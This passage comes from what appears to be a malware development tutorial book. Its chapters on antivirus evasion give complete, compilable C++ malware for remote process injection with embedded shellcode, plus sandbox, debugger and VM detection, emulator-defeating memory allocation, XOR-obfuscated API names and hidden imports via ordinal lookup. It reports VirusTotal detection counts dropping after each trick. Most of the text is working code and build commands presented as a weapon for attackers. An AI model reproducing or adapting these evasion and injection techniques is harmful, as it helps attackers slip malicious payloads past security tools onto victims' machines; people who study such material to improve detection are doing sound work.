output_str += chr(ordd(current) ^ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

## key for encrypt/decrypt

476
plaintext = "VirtualAlloc"
my_secret_key = "meowmeow"

## encrypt VirtualAlloc
ciphertext, p_key = xor_encrypt(plaintext, my_secret_key)

## open and replace our payload in C++ code


tmp = open("evil.cpp", "rt")
data = tmp.read()
data = data.replace('unsigned char cVirtualAlloc[] = { };',
'unsigned char cVirtualAlloc[] = ' + ciphertext)
tmp.close()
tmp = open("evil-enc.cpp", "w+")
tmp.write(data)
tmp.close()

## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp"
cmd += " -o evil.exe -s -ffunction-sections"
cmd += " -fdata-sections -Wno-write-strings"
cmd += " -fno-exceptions -fmerge-all-constants"
cmd += " -static-libstdc++ -static-libgcc"
cmd += " >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
else:
print (cmd)
print ("successfully compiled :)")
Compile and check.
strings -n 8 evil.exe | grep "Virtual"

and as you can see no VirtualAlloc in strings check. This is how you can actually
obfuscate any function in your code. It can be VirtualProtect or RtlMoveMemory,
etc.
run:

477
everything is ok.
Let’s go to upload our evil.exe to virustotal:

https://www.virustotal.com/gui/file/bf21d0af617f1bad81ea178963d70602340d8514
5b96aba330018259bd02fe56/detection
So, 22 of of 66 AV engines detect our file as malicious.
Other functions can be obfuscated to reduce the number of AV engines that detect our
malware. For better result we can combine payload encryption with random key and
obfuscate functions with another keys etc.
Source code in Github
• VirtualAlloc

• RtlMoveMemory

• VirtualProtect

• WaitForSingleObject

478
• CreateThread

• XOR
As a result of my research, my project peekaboo appeared.
Simple undetectable shellcode and code injector launcher example.

479
56. AV engines evasion techniques - part 3. Simple C++ example.

This is a third part of the tutorial and it describes an example how to bypass AV engines
in simple C++ malware.
first part
second part
In this section we will try to implement some techniques used by malicious software to
execute code, hide from defenses.
Let’s take a look at example C++ source code of our malware which implement classic
code injection:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

// 64-bit meow-meow messagebox without encryption


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"

480
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
This is classic variant, we define payload, allocate memory, copy into the new buffer,
and then execute it.
The main limit with AV scanner is the amount of time they can spend on each file.
During a regular system scan, AV will have to analyze thousands of files. It just cannot
spend too much time or power on a peculiar one. One of the “classic” AV evasion trick
besides payload encryption: we just allocate and fill 100MB of memory:

481
char *mem = NULL;
mem = (char *) malloc(100000000);
if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);
//... run our malicious logic
}
So, let’s go to update our simple malware:
/*
hack.cpp
classic payload injection example
allocate too much memory
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/21/simple-malware-av-evasion-3.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

int main(int argc, char* argv[]) {

// meow-meow messagebox x64 windows


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"

482
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

DWORD pid; // process ID


pid = atoi(argv[1]);

// allocate and fill 100 MB of memory


char *mem = NULL;
mem = (char *) malloc(100000000);

if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);

// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
}
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fdata-sections \
-Wno-write-strings -fno-exceptions \

483
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And run it in our victim’s machine (Windows 10 x64):

As you can see everything is worked perfectly :)


And if we just upload this malware to VirusTotal:

https://www.virustotal.com/gui/file/4ff68b6ca99638342b9b316439594c21520e66fe
ca36c2447e3cc75ad3d70f46/detection
So, 6 of 67 AV engines detect our file as malicious.

484
For better result, we can add payload encryption with key or obfuscate functions, or
combine both of this techniques.
And what’s next? Malwares often use various methods to fingerprint the environment
they’re being executed in and perform different actions based on the situation.
For example, we can detect virtualized environment. Sandboxes and analyst’s virtual
machines usually can’t 100% accurately emulate actual execution environment. Nowa-
days typical user machine has a processor with at least 2 cores and has a minimum 2GB
RAM. So our malware can verify if the environment is a subject to these constraints:
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;

// check number of processors


GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2) return false;

// check RAM
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;

return true;
}
Also we’ll invoke the VirtualAllocExNuma() API call. This is an alternative version
of VirtualAllocEx() that is meant to be used by systems with more than one physical
CPU:
typedef LPVOID (WINAPI * pVirtualAllocExNuma) (
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);

// memory allocation work on regular PC


// but will fail in AV emulators
BOOL checkNUMA() {
LPVOID mem = NULL;

485
pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(
GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(),
NULL, 1000, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) {
return false;
} else {
return true;
}
}

//...
What we’re doing here is trying to allocate memory with VirtualAllocExNuma(),
and if it fails we just exit immediately. Otherwise, execution will continue.
Since the code is emulated it is not started in a process which has the name of the binary
file. That’s why we check that first argument contains name of the file:
// what is my name???
if (strstr(argv[0], "hack2.exe") == NULL) {
printf("What's my name? WTF?? :(\n");
return -2;
}
It’s possible to simply “ask” the operating system if any debugger is attached.
IsDebuggerPresent function basically checks BeingDebugged flag in the PEB:
// "ask" the OS if any debugger is present
if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}
Dynamic malware analysis - or sandboxing - has become the centerpiece of any major
security solution. At the same time, almost all variants of current threats include some
kind of sandbox detection logic.
So we can try to combine all this tricks (hac2.cpp):
/*
hack.cpp
classic payload injection example
allocate too much memory
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/21/simple-malware-av-evasion-3.html
*/

486
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <memoryapi.h>

typedef LPVOID (WINAPI * pVirtualAllocExNuma) (


HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect,
DWORD nndPreferred
);

// memory allocation work on regular PC


// but will fail in AV emulators
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma =
(pVirtualAllocExNuma)GetProcAddress(
GetModuleHandle("kernel32.dll"),
"VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(),
NULL, 1000, MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) {
return false;
} else {
return true;
}
}

// resource check
BOOL checkResources() {
SYSTEM_INFO s;
MEMORYSTATUSEX ms;
DWORD procNum;
DWORD ram;

// check number of processors


GetSystemInfo(&s);
procNum = s.dwNumberOfProcessors;
if (procNum < 2) return false;

// check RAM

487
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
ram = ms.ullTotalPhys / 1024 / 1024 / 1024;
if (ram < 2) return false;

return true;
}

int main(int argc, char* argv[]) {

// meow-meow messagebox x64 windows


unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

HANDLE ph; // process handle


HANDLE rt; // remote thread
PVOID rb; // remote buffer

DWORD pid; // process ID


pid = atoi(argv[1]);

// what is my name???
if (strstr(argv[0], "hack2.exe") == NULL) {
printf("What's my name? WTF?? :(\n");

488
return -2;
}

// "ask" the OS if any debugger is present


if (IsDebuggerPresent()) {
printf("attached debugger detected :(\n");
return -2;
}

// check NUMA
if (checkNUMA()) {
printf("NUMA memory allocate failed :( \n");
return -2;
}

// check resources
if (checkResources() == false) {
printf("possibly launched in sandbox :(\n");
return -2;
}

// allocate and fill 100 MB of memory


char *mem = NULL;
mem = (char *) malloc(100000000);

if (mem != NULL) {
memset(mem, 00, 100000000);
free(mem);

// parse process ID
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(pid));
printf("PID: %i", pid);

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);

489
CloseHandle(ph);
return 0;
}
}
Let’s go to compile:

and run in our victim’s machine (Windows 10 x64):

As you can see, our malicious logic did not start as we are in a virtual machine with 1
core CPU.
Let’s go to upload this variant to VirusTotal:

490
https://www.virustotal.com/gui/file/5658fd8d326dcbb01492c0d5644cdeb69dc8d64a
cbf939a91b25a3caa53f7a61/detection
So, 8 of 67 AV engines detect our file as malicious.
As usually, for better result, we can add payload encryption with key or obfuscate func-
tions, or combine both of this techniques.
To conclude these examples show it is pretty simple to bypass AV when you exploit their
weaknesses. It only requires some knowledge on windows system and how AV works.
Also we can try to detect devices and vendor names of our machine, search VM-specific
artifacts, check file, process or windows names, check screen resolution, etc. I will show
these techniques and real examples in the future in separate posts.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
The Antivirus Hacker’s Handbook
Wikileaks - Bypass AV Dynamic Analysis
DeepSec 2013 Talk: The Joys of Detecting Malicious Software
IsDebuggerPresent
VirtualAllocExNuma
NUMA Support
Source code on Github

491
57. AV engines evasion techniques - part 4. Simple C++ example.

This section is a result of self-researching another AV evasion trick. An example how


to bypass AV engines in simple C++ malware.
This trick regarding how you hide your windows API calls from static analysis.
When you want to interact with the windows operating system, then you need to call
windows API for example from user32.dll from your code such as MessageBoxA or
any other API. If you specify the calls from your code, then the compiler will include
the MessageBoxA or all the API’s needed in the import table in your PE. it would give
ideas for the malware analyst for more closely investigate you malware.

what is ordinals?
Each function exported by a DLL is identified by a numeric ordinal and optionally a
name. Likewise, functions can be imported from a DLL either by ordinal or by name.
The ordinal represents the position of the function’s address pointer in the DLL Export
Address table.
In one of my posts I wrote a simple python script which enumerates the exported
functions from the provided DLL (dll-def.py):
import pefile
import sys
import os.path

dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]

try:
with open(sys.argv[1]
.split("/")[-1]

492
.replace(".dll", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write(
'{}={}.{} @{}\n'.format(
export.name.decode(),
dll_basename,
export.name.decode(),
export.ordinal))
except:
print ("failed to create .def file :(")
else:
print ("successfully create .def file :)")
Let’s go to run it for user32.dll:
python3 dll-def.py user32.dll

As you can see, for example, for MessageBoxA ordinal is 2039, for MessageBoxW
ordinal is 2046.

practical example.
Let’s go to look at the practical example.
The ordinals might change on each release of the dll. We do not hardcode it in our code.
We need to look up the ordinals by iterating the list and make a string comparison. This
activity is counterproductive to our objective to hide the API name in our code since
we need to make a string comparison during the lookup.
This technique is very simple.
First of all, I used a trick from my post (also included to this book):
// encrypted function name (MessageBoxA)
unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2,
0x17, 0x31, 0xa, 0x1b, 0x33 };

493
// encrypted module name (user32.dll)
unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43,
0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
And use python script to XOR encrypt our function name:
import sys
import os
import hashlib
import string

## XOR function to encrypt data


def xor(data, key):
key = str(key)
l = len(key)
output_str = ""

for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ^ ord(current_key))
return output_str

## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.
join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key

494
## key for encrypt/decrypt
my_secret_key = "mysupersecretkey"

ciphertext, p_key = xor_encrypt("user32.dll",


my_secret_key)
ciphertext, p_key = xor_encrypt("MessageBoxA",
my_secret_key)
So in our case, we encrypt user32.dll and MessageBoxA strings.
In general, we use the Name Pointer Table (NPT) and Export Ordinal Table (EOT) to
find export ordinals.
So I used function for get export directory table:
// get export directory table
PIMAGE_EXPORT_DIRECTORY getEDT(HMODULE module) {
PBYTE base; // base address of module
PIMAGE_FILE_HEADER img_file_header; // COFF file header
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
DWORD rva; // relative virtual address of EDT
PIMAGE_DOS_HEADER img_dos_header; // MS-DOS stub
PIMAGE_OPTIONAL_HEADER img_opt_header; // "optional" header
PDWORD sig; // PE signature

// Start at the base of the module.


// The MS-DOS stub begins there.
base = (PBYTE)module;
img_dos_header = (PIMAGE_DOS_HEADER)module;

// Get the PE signature and verify it.


sig = (DWORD*)(base + img_dos_header->e_lfanew);
if (IMAGE_NT_SIGNATURE != *sig) {
// bad signature -- invalid image or module handle
return NULL;
}

// Get the COFF file header.


img_file_header = (PIMAGE_FILE_HEADER)(sig + 1);

// get the "optional" header


// (it's not actually optional for executables).
img_opt_header = (PIMAGE_OPTIONAL_HEADER)(img_file_header + 1);

// finally, get the export directory table.


if (IMAGE_DIRECTORY_ENTRY_EXPORT
>= img_opt_header->
NumberOfRvaAndSizes) {

495
// this image doesn't have an
// export directory table.
return NULL;
}
rva = img_opt_header->
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress;
edt = (PIMAGE_EXPORT_DIRECTORY)(base + rva);

return edt;
}
And searches a module’s name pointer table (NPT) for the named procedure:
// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;

min = 0;
max = size - 1;

while (min <= max) {


mid = (min + max) >> 1;
cmp = strcmp((LPCSTR)(npt[mid] + base), proc);

if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;
}
}
return -1;
}
As you can see, is simply a convenience function that does the binary search of the NPT.
Finally, get ordinal:
// get func ordinal
DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
PBYTE base; // module base address
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
PWORD eot; // export ordinal table (EOT)

496
DWORD i; // index into NPT and/or EOT
PDWORD npt; // name pointer table (NPT)

base = (PBYTE)module;

// get the export directory table,


// from which we can find the name pointer
// table and export ordinal table.
edt = getEDT(module);

// get the name pointer table and


// search it for the named procedure.
npt = (DWORD*)(base + edt->AddressOfNames);
i = findFuncB(npt, edt->NumberOfNames, base, proc);
if (-1 == i) {
// the procedure was not found
// in the module's name pointer table.
return -1;
}

// get the export ordinal table.


eot = (WORD*)(base + edt->AddressOfNameOrdinals);

// actual ordinal is ordinal


// from EOT plus "ordinal base" from EDT.
return eot[i] + edt->Base;
}
And main function idea without error checking:
int main(int argc, char* argv[]) {
XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));
LoadLibrary((LPCSTR) s_dll)
HMODULE module = GetModuleHandle((LPCSTR) s_dll);
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
So the full source code of our example:
/*
* hack.cpp - Find function from DLL
via ordinal. C++ implementation

497
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/03/18/simple-malware-av-evasion-4.html
*/
#include <stdio.h>
#include "windows.h"

typedef UINT(CALLBACK* fnMessageBoxA)(


HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);

// encrypted function name (MessageBoxA)


unsigned char s_mb[] = { 0x20, 0x1c, 0x0, 0x6, 0x11, 0x2,
0x17, 0x31, 0xa, 0x1b, 0x33 };

// encrypted module name (user32.dll)


unsigned char s_dll[] = { 0x18, 0xa, 0x16, 0x7, 0x43,
0x57, 0x5c, 0x17, 0x9, 0xf };

// key
char s_key[] = "mysupersecretkey";

// XOR decrypt
void XOR(char * data, size_t data_len, char * key,
size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

// binary search
DWORD findFuncB(PDWORD npt, DWORD size, PBYTE base, LPCSTR proc) {
INT cmp;
DWORD max;
DWORD mid;
DWORD min;

min = 0;
max = size - 1;

498
while (min <= max) {
mid = (min + max) >> 1;
cmp = strcmp((LPCSTR)(npt[mid] + base), proc);

if (cmp < 0) {
min = mid + 1;
} else if (cmp > 0) {
max = mid - 1;
} else {
return mid;
}
}
return -1;
}

// get export directory table


PIMAGE_EXPORT_DIRECTORY getEDT(HMODULE module) {
PBYTE base; // base address of module
PIMAGE_FILE_HEADER img_file_header; // COFF file header
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
DWORD rva; // relative virtual address of EDT
PIMAGE_DOS_HEADER img_dos_header; // MS-DOS stub
PIMAGE_OPTIONAL_HEADER img_opt_header; // "optional" header
PDWORD sig; // PE signature

// start at the base of the module.


// The MS-DOS stub begins there.
base = (PBYTE)module;
img_dos_header = (PIMAGE_DOS_HEADER)module;

// get the PE signature and verify it.


sig = (DWORD*)(base + img_dos_header->e_lfanew);
if (IMAGE_NT_SIGNATURE != *sig) {
// bad signature -- invalid image or module handle
return NULL;
}

// get the COFF file header.


img_file_header = (PIMAGE_FILE_HEADER)(sig + 1);

// get the "optional" header


// (it's not actually optional for executables).
img_opt_header = (PIMAGE_OPTIONAL_HEADER)
(img_file_header + 1);

499
// Finally, get the export directory table.
if (IMAGE_DIRECTORY_ENTRY_EXPORT
>= img_opt_header->
NumberOfRvaAndSizes) {
// this image doesn't have an
// export directory table.
return NULL;
}
rva = img_opt_header->
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].
VirtualAddress;
edt = (PIMAGE_EXPORT_DIRECTORY)(base + rva);

return edt;
}

// get func ordinal


DWORD getFuncOrd(HMODULE module, LPCSTR proc) {
PBYTE base; // module base address
PIMAGE_EXPORT_DIRECTORY edt; // export directory table
PWORD eot; // export ordinal table (EOT)
DWORD i; // index into NPT and/or EOT
PDWORD npt; // name pointer table (NPT)

base = (PBYTE)module;

// get the export directory table,


// from which we can find the name pointer
// table and export ordinal table.
edt = getEDT(module);

// get the name pointer table and


// search it for the named procedure.
npt = (DWORD*)(base + edt->AddressOfNames);
i = findFuncB(npt, edt->NumberOfNames, base, proc);
if (-1 == i) {
// the procedure was not found in
// the module's name pointer table.
return -1;
}

// get the export ordinal table.


eot = (WORD*)(base + edt->AddressOfNameOrdinals);

// actual ordinal is ordinal


// from EOT plus "ordinal base" from EDT.

500
return eot[i] + edt->Base;
}

int main(int argc, char* argv[]) {


XOR((char *) s_dll, sizeof(s_dll), s_key, sizeof(s_key));
XOR((char *) s_mb, sizeof(s_mb), s_key, sizeof(s_key));

if (NULL == LoadLibrary((LPCSTR) s_dll)) {


printf("failed to load library :( %s\n", s_dll);
return -2;
}

HMODULE module = GetModuleHandle((LPCSTR) s_dll);


if (NULL == module) {
printf("failed to get a handle to %s\n", s_dll);
return -2;
}

DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);


if (-1 == ord) {
printf("failed to find ordinal %s\n", s_mb);
return -2;
}

fnMessageBoxA myMessageBoxA =
(fnMessageBoxA)GetProcAddress(
module, MAKEINTRESOURCE(ord));
myMessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}

demo
Let’s go to compile our example:
i686-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings \
-Wint-to-pointer-cast -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

501
And run:
.\hack.exe

As you can see, everything is work perfectly, for purity of the experiment I add one line
to my hack.cpp in main function:
//..
DWORD ord = getFuncOrd(module, (LPCSTR) s_mb);
if (-1 == ord) {
printf("failed to find ordinal %s\n", s_mb);
return -2;
}
printf("MessageBoxA ordinal is %d\n", ord);
//..
Compile and run:

502
As you can see, our malware successfully find correct ordinal. Perfect :)
String search result:
strings -n 8 hack.exe | grep MessageBox

As you can see no MessageBox in strings check. So this is how you hide your windows
API calls from static analysis.
Let’s go to upload to VirusTotal:

https://www.virustotal.com/gui/file/f75d7f5f33fc5c5e03ca22bbeda0454cd9b6aab300
9fdd109433bc6208f3d301/detection
So 6 of 68 AV engines detect our file as malicious
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
pe file format
pefile - python module

503
XOR
source code in github

504
58. AV engines evasion techniques - part 5. Simple C++ example.

This section is a result of self-researching another AV evasion trick. An example how


to bypass AV engines in simple C++ malware.

hashing function names


